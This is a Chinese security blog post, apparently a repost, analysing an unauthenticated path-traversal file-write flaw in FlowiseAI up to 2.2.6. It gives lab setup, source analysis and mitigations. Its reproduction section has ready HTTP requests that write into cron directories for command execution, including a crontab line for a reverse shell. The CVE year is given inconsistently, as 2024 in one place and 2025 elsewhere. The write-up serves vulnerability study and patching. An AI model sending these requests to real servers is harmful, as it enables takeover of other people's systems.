关注我们❤️,添加星标🌟,一起学安全!作者:Howell@Timeline Sec 本文字数:4617 阅读时长:3~5mins声明:仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x01 简介
FlowiseAI 是一款开源的低代码/无代码工具,用于快速构建基于大语言模型(LLM)的应用程序。它通过可视化拖拽组件,让用户无需或仅需少量编码就能创建聊天机器人、文档问答等应用,并支持多种大语言模型和向量数据库的集成。其核心功能包括记忆与对话、API 嵌入等,可应用于工作流自动化和文档问答等场景。FlowiseAI 支持本地、Docker 和云平台部署,完全开源免费,适合开发者和非技术用户快速搭建 AI 应用。
0x02 漏洞概述
漏洞编号:CVE-2024-26319
这是一个严重的系统任意文件上传漏洞,该漏洞 CVSS 评分为 9.8,属于高危漏洞。该漏洞存在于 Flowise 的 /арi/v1/аttасhmеntѕ
中,允许未经身份验证的攻击者通过“知识上传”功能将任意文件上传到托管代理的服务器,此缺陷可能使攻击者能够通过上传恶意文件、脚本、配置文件甚至 SSH 密钥来远程控制整个服务器。
0x03 影响版本
Flowise <= 2.2.6
0x04 环境搭建
操作系统:Ubuntu-22.04.5-amd64
1) 直接搭建
这里有一点非常重要:当在虚拟机中配置环境时,遇到物理机与虚拟机可以互相 ping 通,物理机却无法访问虚拟机搭建的环境时,记得检查防火墙,很可能是防火墙没开放这个端口。
安装 fnm
1.apt-get update
2.apt-get install unzip
3.curl -o- https://fnm.vercel.app/install | bash
(如果要让安装好的 fnm 生效,需要执行红框中的语句,或打开新的命令行)
通过 fnm 安装 node.js:fnm install 22
安装 flowise:npm install -g [email protected]
启动 flowise:npx flowise start
访问 localhost:3000
2) docker 搭建
1.下载 flowise 安装包:wget https://codeload.github.com/FlowiseAI/Flowise/zip/refs/tags/flowise%402.2.6
。2.解压安装包。3.打开文件夹中的 docker 文件夹,将里面的 .env.example
复制一份并改成 .env
。
4.由于官方的 docker-compose.yml
是默认拉取最新的镜像,所以在安装时,需要修改 image
参数为漏洞版本的镜像。
5.最后启动:docker-compose up -d
0x05 漏洞复现
1.上传文件后,可以在目标机器上看到test.txt
POST /api/v1/attachments/test/test HTTP/1.1
Host: yourURL
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 213
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
2.向定时任务中写入文件实现任意命令执行
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
Host: yourURL
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 657
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
* * * * * echo "a" >> /tmp/test.txt
------WebKitFormBoundary7MA4YWxkTrZu0gW--
3.反弹 shell
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fetc/./ HTTP/1.1
Host: yourURL
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 219
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="crontab"
Content-Type: text/plain
*/1 * * * * root bash -c "your shell"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
0x06 漏洞分析
1) API 白名单机制
在 Flowise 平台的核心架构中,存在一个名为 constants.ts
的文件。这个文件中定义了一个名为 WHITELIST_URLS
的变量,它包含了一系列无需认证即可访问的API端点。这种设计的目的是为了方便实现一些特定功能,例如API密钥验证、公共聊天流和文件操作等。这些功能不需要用户进行身份认证就可以运行,从而提升了用户体验和系统的灵活性。
2) 鉴权流程
当服务器接收到HTTP请求时,会按照严格的逻辑进行鉴权:首先检查请求路径是否包含 /api/v1
前缀(不区分大小写),接着进行大小写敏感的路径验证;然后判断该URL是否在白名单 WHITELIST_URLS
中,如果在白名单内,就继续处理请求;如果不在白名单内,再检查请求头中是否有 internal
标记,或者验证API密钥,只有通过这些检查后,请求才会被允许继续处理
3) 文件上传处理逻辑
/api/v1/attachments/
路由负责处理文件上传创建操作。在 createFileAttachment
函数里,会调用addArrayFilesToStorage
处理文件。
在 addArrayFilesToStorage
函数处理文件地址时,会把 chatflowId
和 chatId
直接拼接到路径里,而且没有进行任何处理,这就导致攻击者能通过编码绕过目录限制,实现跨目录上传,这就是漏洞产生的关键原因。
0x07修复建议
1) 官方修复
-
升级版本:将 Flowise 升级至最新版本(>= 2.2.7),官方已在该版本中修复了此漏洞。
2) 临时修复措施
-
限制接口访问:在升级前,可以通过配置 .htaccess
文件或其他访问控制机制,限制对/api/v1/attachments
接口的访问,仅允许受信任的 IP 地址或用户访问。 -
严格文件权限:在应用服务器上配置文件上传目录的严格权限,避免攻击者覆盖关键配置文件。 -
更改存储类型:将存储类型更改为 S3。默认情况下,存储类型设置为 Local,这使得漏洞更加严重。如果存储类型为 S3,则可以保护您免受这些攻击。
3) 安全监控
-
部署监控系统:部署入侵检测系统(IDS)或安全信息和事件管理(SIEM)系统,实时监控服务器上的异常文件上传或配置更改行为。
4) 补丁修复
-
应用补丁:如果无法立即升级,可以手动应用官方提供的补丁。补丁地址为:https://github.com/dorattias/CVE-2025-26319/blob/main/CVE-2025-26319-FIX.patch。
参考连接
视频号:搜索TimelineSec,官方微博
团队官网:http://www.timelinesec.com
B站:https://space.bilibili.com/524591903
原文始发于微信公众号(Timeline Sec):CVE-2025-26319:FlowiseAI未授权任意文件写入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论